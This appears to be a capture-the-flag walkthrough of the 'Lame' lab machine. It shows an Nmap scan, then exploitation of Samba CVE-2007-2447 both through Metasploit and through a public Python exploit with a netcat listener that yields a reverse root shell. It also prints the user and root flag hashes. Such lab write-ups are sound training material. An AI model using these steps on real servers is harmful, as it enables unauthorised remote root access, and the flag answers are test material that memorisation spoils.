

Lame:



Enumeration:

First let's do an Nmap scan.

root@nexus:~# nmap -A -p- 10.10.10.3

```
PORT
         STATE SERVICE
                           VERSION
21/tcp
         open ftp
                           vsftpd 2.3.4
 ftp-anon: Anonymous FTP login allowed (FTP code 230)
  ftp-syst:
    STAT:
  FTP server status:
       Connected to 10.10.14.43
      Logged in as ftp
       TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Control connection is plain text
      Data connections will be plain text
      vsFTPd 2.3.4 - secure, fast, stable
 End of status
                           OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
        open ssh
 ssh-hostkey:
    1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
    2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
```

After spending time trying to exploit vsftpd 2.3.4 by manual way and metasploit way it's rabbit hole, next port interesting is the samba port 139 and 445, let's enumerate it.

A quick research about samba smbd 3.X - 4.X exploit on google show us a metasploit exploit from <u>CVE-2007-2447</u>. So it's seem vulnerable. Let's exploit it now.

Source : https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

Exploitation - Metasploit way:

Fire up metasploit and load the exploit.

```
root@nexus:~# service postgresql start && msfconsole

msf5 > use exploit/multi/samba/usermap script
```

Configure the options then verify all parameter is ready by typing « show options ».

Launche the exploit by typing « exploit ».

```
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 10.10.14.43:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo HRoxE5cAchBUtE3p;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "HROxE5cAchBUtE3p\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.43:4444 -> 10.10.10.3:36209) at 2019-08-23 03:34:12 +0200
whoami
root
pwd
//
```

And we are in as root! Take user and root flag.

```
/root
ls
Desktop
reset logs.sh
root.txt
vnc.log
cat root.txt
92caac3be140ef409e45721348a4e9df
cd /home
ls
ftp
makis
service
user
cd makis
ls
user.txt
cat user.txt
69454a937d94f5f0225ea00acd2e84c5
```

User.txt = 69454a937d94f5f0225ea00acd2e84c5 Root.txt = 92caac3be140ef409e45721348a4e9df

Exploitation – Manual way:

Source: https://github.com/amriunix/CVE-2007-2447

Download the git repository from the source. Then install dependencies by typing the commands bellow:

- 1. sudo apt install python python-pip
- 2. pip install --user pysmb

Start a netcat listerner.

```
root@nexus:~# nc -nvlp 4444
listening on [any] 4444 ...
```

Then launch the exploit downloaded with those parameter:

python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>

```
root@nexus:~/Téléchargements/CVE-2007-2447-master# python usermap_script.py 10.10.10.3 139 10.10.14.43 4444
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !
```

Come back to you'r netcat listener, you will have root shell.

```
root@nexus:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.43] from (UNKNOWN) [10.10.10.3] 38616
whoami
root
python -c 'import pty;pty.spawn("/bin/bash")'
```

Take both flag again.

```
root@lame:/# cat /root/root.txt

cat /root/root.txt

92caac3be140ef409e45721348a4e9df

root@lame:/# cd /home

cd /home

root@lame:/home# ls

ls

ftp makis service user

root@lame:/home# cd makis

cd makis

root@lame:/home/makis# ls

ls

user.txt

root@lame:/home/makis# cat user.txt

cat user.txt

69454a937d94f5f0225ea00acd2e84c5
```

User.txt = 69454a937d94f5f0225ea00acd2e84c5 Root.txt = 92caac3be140ef409e45721348a4e9df